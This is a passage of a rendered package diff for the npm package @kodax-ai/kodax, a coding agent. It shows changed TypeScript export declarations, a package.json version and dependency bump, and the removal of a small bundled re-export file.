declare function getGitRoot(cwd?: string): Promise<string | null>;
|
|
569
495
|
declare function rateLimitedCall<T>(fn: () => Promise<T>): Promise<T>;
|
|
570
496
|
|
|
571
|
-
export {
|
|
572
|
-
export type { Command as C, InkREPLOptions as I, RepLOptions as R, CommandCallbacks as a,
|
|
497
|
+
export { BUILTIN_COMMANDS as B, KODAX_CONFIG_FILE as K, PREVIEW_MAX_LENGTH as P, KODAX_DIR as e, KODAX_SESSIONS_DIR as f, KODAX_VERSION as g, createInteractiveContext as h, executeCommand as i, getGitRoot as j, getProviderList as k, getProviderModel as l, getVersion as m, hydrateProcessEnvFromShell as n, isProviderConfigured as o, loadConfig as p, parseCommand as q, prepareRuntimeConfig as r, processSpecialSyntax as s, rateLimitedCall as t, registerConfiguredCustomProviders as u, runInkInteractiveMode as v, runInteractiveMode as w, saveConfig as x, touchContext as y };
|
|
498
|
+
export type { Command as C, InkREPLOptions as I, RepLOptions as R, CommandCallbacks as a, CurrentConfig as b, InteractiveContext as c, InteractiveMode as d };
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@kodax-ai/kodax",
|
|
3
|
-
"version": "0.7.
|
|
3
|
+
"version": "0.7.52",
|
|
4
4
|
"description": "极致轻量化 Coding Agent - TypeScript 实现,支持 12 个 LLM 提供商,可发布为免 Node 单文件二进制",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"private": false,
|
|
@@ -87,7 +87,7 @@
|
|
|
87
87
|
"dependencies": {
|
|
88
88
|
"@agentclientprotocol/sdk": "^0.15.0",
|
|
89
89
|
"@alcalzone/ansi-tokenize": "^0.2.5",
|
|
90
|
-
"@anthropic-ai/sdk": "^0.
|
|
90
|
+
"@anthropic-ai/sdk": "^0.104.2",
|
|
91
91
|
"ansi-escapes": "^7.3.0",
|
|
92
92
|
"auto-bind": "^5.0.1",
|
|
93
93
|
"chalk": "^5.4.1",
|
|
@@ -141,7 +141,7 @@
|
|
|
141
141
|
"vitest": "^3.2.4"
|
|
142
142
|
},
|
|
143
143
|
"engines": {
|
|
144
|
-
"node": ">=
|
|
144
|
+
"node": ">=20.0.0"
|
|
145
145
|
},
|
|
146
146
|
"repository": {
|
|
147
147
|
"type": "git",
|
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{ia as a,ja as b}from"./chunk-UB5IAZHF.js";import"./chunk-HR64F32V.js";import"./chunk-SK4HOYT2.js";import"./chunk-MFOMFMSK.js";import"./chunk-XZY4CIDV.js";import"./chunk-5UJQ2GKJ.js";import"./chunk-V4WSBIXB.js";export{a as ArgumentCompleter,b as createArgumentCompleter};
|